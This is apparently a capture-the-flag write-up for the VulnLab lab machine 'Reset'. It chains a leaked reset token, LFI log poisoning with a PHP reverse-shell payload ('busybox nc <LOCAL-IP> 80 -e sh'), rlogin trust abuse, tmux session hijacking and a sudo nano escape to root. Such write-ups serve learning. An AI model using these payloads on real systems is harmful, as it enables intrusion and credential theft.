VulnLab - Reset - Writeup
Reset is an easy level Linux box on VulnLab, a vulnerable machine platform much like HackTheBox, but smaller and with more realistic scenarios. VulnLab features standalone machines, to machine chains generally of about 3 machines, to large red team labs, and encourages public walkthroughs and solutions of their machines (besides their red team labs).
At the time of writing, Reset is the newest box, where we see a password reset token exposure gaining access to a log viewing application, local file inclusion (LFI) is then leveraged into remote code execution (RCE) via log poisoning, from there a reverse shell was possible two paths were available to privilege escalation, one has since been closed as unintended but is included as there is learning value in the technique. The intended path utilised a poorly configured rlogin service, a stolen tmux session leaking credentials, and sudo access to edit a file with nano used to access the file system as root.
I will write to the intended path first.
Though on VulnLab the port scans are available prior to release, I have conducted one anyway with service and scripts flags.
nmap -sC -sV -T4 10.10.78.24
Here, we see the service rlogin, which allows users to remotely login to a host, Oracle write more about this service here. This is important later, but in the meantime, investigate the site running on port 80.
We find it is an admin panel, there are no hints as to the service it is used to login to, and combinations of possible default credentials do not work. Before attempting the "Forgot Password?" function, run Burp suite, and enable the Burp proxy.
Enter "admin" as the username, and send it, then switch to Burp to examine the request and response.
We have found our first issue, the password reset token is leaked in the response. We are able to use this password to login to the service.
Finding it is a log viewing application, there are only two logs available, "syslog" and "auth.log". Note: Since the unintended path to root has been fixed, both of these logs appear to show nothing through the dashboard.
With Burp still running, press "View Logs" and examine the request.
Seeing this, we are able to play around and establish that there is an LFI vulnerability, and since we can view logs we may be able to access the Apache2 logs, and modify our user agent to perform an Apache Log Poisoning via LFI to RCE attack. We will first check this by submitting a modified user agent and examining the /var/log/apache2/access.log file
Send the request to repeater and modify the file parameter to %2Fvar%2Flog%2Fapache2%2Faccess.log, and the User-Agent to <?php system('ls /user') ?>. Then submit twice so you are able to view the response with the executed command.
We are successful in viewing the execution of code on the remote system, we can now proceed with gaining access via a reverse shell. In a new terminal start a netcat listener on port 80.
nc -lnvp 80
Modify the User-Agent in Repeater to contain the following
<?php system('busybox nc <LOCAL-IP> 80 -e sh') ?>
Submit it a few more times.
Upgrade our shell with
python3 -c 'import pty; pty.spawn("/bin/bash")'
From the link above to the Oracle documentation on rlogin, we can see that the file /etc/hosts.equiv contains a list of trusted hosts on a system. Examine
this file.
cat /etc/hosts.equiv
rlogin relies on trust-based authentication system that is considered highly insecure by modern standards, the hosts.equiv file is permissive to allow the user sadm to login. Simply creating that user locally, and connecting via rlogin to the server as that user allows us to bypass normal authentication requirements offered to us by services such as SSH.
Create an sadm user locally, switch to that user, and login using rlogin.
sudo useradd sadm
sudo passwd sadm
su sadm
rlogin sadm@<IP ADDRESS>
We now have access as sadm. Check the running processes
ps aux
We see there is a tmux session running, we can attach to it.
tmux attach -t sadm_session
From the session we can gather the sadm users password, and can see that nano can be run as root as long as we are editing the /etc/firewall.sh file. Though editing this file won't net us anything special, we are able to exit the file and maintain privileged access to the file system. GTFOBins contains the instructions on how to do this here.
sudo nano /etc/firewall.sh
Then pressing ctrl+r and then ctrl+x the following can be entered.
sh 1>&0 2>&0
Clear the screen with clear, and we are root!
Unintended Path
Alright, this one is closed now, so it isn't worth any effort trying, and this will be a little quicker and dirtier in explanation.
After we gain our reverse shell access, we are able ot identify ourselves as being in the adm group, and so we are able to read logs including journalctl.
Doing this and searching for root allows us to find the credentials used by the sadm user
journalctl | grep root
From here, we are able to switch to this user, and examining what files can be run as root with sudo -l we discover the same as above, nano /etc/firewall.sh.
